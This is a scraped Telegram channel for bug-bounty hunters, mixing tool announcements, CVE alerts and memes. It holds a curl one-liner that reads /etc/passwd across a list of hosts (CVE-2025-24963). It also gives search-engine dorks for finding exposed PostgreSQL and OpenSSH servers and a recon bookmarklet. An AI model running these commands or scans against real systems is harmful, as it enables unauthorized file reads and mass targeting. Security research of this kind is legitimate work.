Brut Security
15.1K subscribers
964 photos
76 videos
292 files
1.01K links
βœ…DM: @wtf_brut
πŸ›ƒWhatsApp: https://wa.link/brutsecurity
🈴Training: https://brutsecurity.com
πŸ“¨Mail: info@brutsec.com
Download Telegram
When cybersecurity burnout hits, off-grid life starts calling. πŸ˜‚
🀣18😁4πŸ‘2
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ”₯πŸ”₯πŸ”₯ProjectDiscovery launched Nuclei v1 with an -ai flag that makes custom vulnerability detection simple, no YAML skills needed. It now offers instant AI-powered scanning from the command line, smarter template editing, external link support, automated security regressions, and larger context windows for all users. Check it out here: https://projectdiscovery.io/blog/reinventing-custom-detections-and-vulnerability-management
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘15πŸ—Ώ8πŸ”₯5❀4πŸ‘1🫑1
πŸ›‘πŸ›‘Looking for a specific Nuclei template?  Use the -tl option to list all available Nuclei Templates and then grep for the keyword you're interested in!
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘11πŸ‘7❀3
πŸ—£οΈπŸ—£οΈπŸ—£οΈ
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯37🀣6πŸ‘3πŸ—Ώ1
⚑️grepsubsfromwebpages

βœ…Extract subdomains automatically while visiting webpages. Just add target domain name and this extension will start extracting subs from the webpages you visit.

πŸ“Œ
https://github.com/hackersthan/grepsubsfromwebpages
πŸ‘9❀2πŸ”₯2
🚨 CVE-2025-24963 - Vitest Browser Mode Local File Read 🚨

πŸ’₯One Liner Exploit:
cat file.txt | while read host; do curl -skL "http://$host/__screenshot-error?file=/etc/passwd" | grep -E "root:.*:/bin/" && echo "$host is VULN"; done
πŸ‘7πŸ”₯4❀1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ‘»πŸ‘»πŸ‘»Medusa by @Ch0pin is a game-changer for mobile bug hunters πŸ“±πŸ•΅οΈ

πŸ”₯πŸ”₯With its FRIDA-powered framework, you can automate tasks like bypassing SSL pinning, tracing function calls, and modifying app behaviour in real time. Perfect for uncovering vulnerabilities in Android & iOS apps! πŸ”

🎀Check it out πŸ‘‰ https://github.com/Ch0pin/medusa
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ‘13❀7πŸ”₯5
πŸ˜‚πŸ˜‚πŸ˜‚πŸ˜‚
Please open Telegram to view this post
VIEW IN TELEGRAM
😒21🀣4πŸ‘2πŸ”₯1
🚨 CVE-2025-1094: PostgreSQL psql SQL injection
πŸ”₯PoC:https://github.com/rapid7/metasploit-framework/pull/19877
🧐Deep Dive :https://attackerkb.com/topics/G5s8ZWAbYH/cve-2024-12356/rapid7-analysis

πŸ‘‡Dorks:
HUNTER : protocol="postgresql"
FOFA : product="PostgreSQL"
SHODAN : "port:5432 PostgreSQL"

πŸ“°Refer:https://thecyberthrone.in/2025/02/15/cve-2025-1094-impacts-postgresql-with-sql-injection/
πŸ‘12πŸ”₯5❀3πŸ‘1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ”–Find hidden Endpoints:

javascript:(async function(){let scanningDiv=document.createElement("div");scanningDiv.style.position="fixed",scanningDiv.style.bottom="0",scanningDiv.style.left="0",scanningDiv.style.width="100%",scanningDiv.style.maxHeight="50%",scanningDiv.style.overflowY="scroll",scanningDiv.style.backgroundColor="white",scanningDiv.style.color="black",scanningDiv.style.padding="10px",scanningDiv.style.zIndex="9999",scanningDiv.style.borderTop="2px solid black",scanningDiv.innerHTML="<h4>Scanning...</h4>",document.body.appendChild(scanningDiv);let e=[],t=new Set;async function n(e){try{const t=await fetch(e);return t.ok?await t.text():(console.error(`Failed to fetch ${e}: ${t.status}`),null)}catch(t){return console.error(`Error fetching ${e}:`,t),null}}function o(e){return(e.startsWith("/")||e.startsWith("./")||e.startsWith("../"))&&!e.includes(" ")&&!/[^\x20-\x7E]/.test(e)&&e.length>1&&e.length<200}function s(e){return[...e.matchAll(/['"]((?:\/|\.\.\/|\.\/)[^'"]+)['"]/g)].map(e=>e[1]).filter(o)}async function c(o){if(t.has(o))return;t.add(o),console.log(`Fetching and processing: ${o}`);const c=await n(o);if(c){const t=s(c);e.push(...t)}}const l=performance.getEntriesByType("resource").map(e=>e.name);console.log("Resources found:",l);for(const e of l)await c(e);const i=[...new Set(e)];console.log("Final list of unique paths:",i),console.log("All scanned resources:",Array.from(t)),scanningDiv.innerHTML=`<h4>Unique Paths Found:</h4><ul>${i.map(e=>`<li>${e}</li>`).join("")}</ul>`})();
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯33πŸ‘7❀3
⚑️One Million Dorks - A repository with text files containing a million dorks for finding potentially vulnerable web pages and sensitive data (in Google and other search engines). Can be used with various automation tools.

🎯
https://github.com/HackShiv/OneDorkForAll/tree/main/dorks/1M_dork


#bugbounty #cybersecurity
πŸ”₯19πŸ‘9
Recon like Pro.pdf
1.3 MB
❀28πŸ‘2
Schlix CMS 2.2.7-2 Arbitrary File Upload - POC ---> https://t.me/brutsecurity_poc/41
❀3πŸ‘1
Please open Telegram to view this post
VIEW IN TELEGRAM
🀣40πŸ”₯1
πŸ‘»πŸ‘»πŸ‘»Nuclei AI Prompts for @pdnuclei

Nuclei v3.3.9 (@pdiscoveryio) has -ai option to generate and run nuclei templates on the fly in natural language.

This is a list of prompts for this option:

- sensitive data exposure
- SQLi
- XSS
- SSRF

https://github.com/reewardius/Nuclei-AI-Prompts
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯34πŸ‘6πŸ—Ώ2
API Security TestingπŸ“πŸ‘Ύ
πŸ‘21πŸ”₯4
Please open Telegram to view this post
VIEW IN TELEGRAM
🀣46πŸ‘6😒1🀨1
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ‘»πŸ‘»πŸ‘»SSRF in Sliver C2 (CVE-2025-27090), allowing an attacker to read and write TCP traffic through affected teamservers.

πŸ”₯πŸ”₯πŸ”₯Demo shows leaking the IP of a Sliver teamserver hidden behind redirectors.

Writeup-
https://blog.chebuya.com/posts/server-side-request-forgery-on-sliver-c2/

POC-
https://github.com/chebuya/exploits/tree/main/CVE-2025-27090%3A%20Sliver%20C2%20SSRF
Please open Telegram to view this post
VIEW IN TELEGRAM
πŸ”₯43πŸ‘7❀2🀣1
Don't forget to react guys πŸ‘€πŸ‘€
Please open Telegram to view this post
VIEW IN TELEGRAM
🀝25🀣7πŸ‘5😁2
CVE-2025-26465, -26466: Two vulnerabilities in OpenSSH, 6.8 rating❗️

MitM and DoS in OpenSSH. The severity level is medium, but the vulnerabilities cover many versions: from 2013 for -26465 and from 2023 for -26466.

Search at Netlas.io:
πŸ‘‰ Link: https://nt.ls/1TTrj
πŸ‘‰ Dork: ssh.server_key_exchange.client_to_server_compression:"zlib@openssh.com"

Read more: https://blog.qualys.com/vulnerabilities-threat-research/2025/02/18/qualys-tru-discovers-two-vulnerabilities-in-openssh-cve-2025-26465-cve-2025-26466
πŸ‘10πŸ”₯5❀2😱1🀣1
πŸ‘»πŸ‘»πŸ‘»Nuclei AI Prompts is a platform that offers a collection of ready-to-use security prompts for Nuclei. It helps penetration testers and security researchers speed up their work by providing prompts for common vulnerabilities like XSS, SQLi, RCE, and more. You can easily copy these prompts and use them in your security testing, and even contribute new ones to help grow the community.

πŸ”₯πŸ”₯πŸ”₯https://nucleiprompts.com
Please open Telegram to view this post
VIEW IN TELEGRAM
10😱12πŸ‘7πŸ”₯7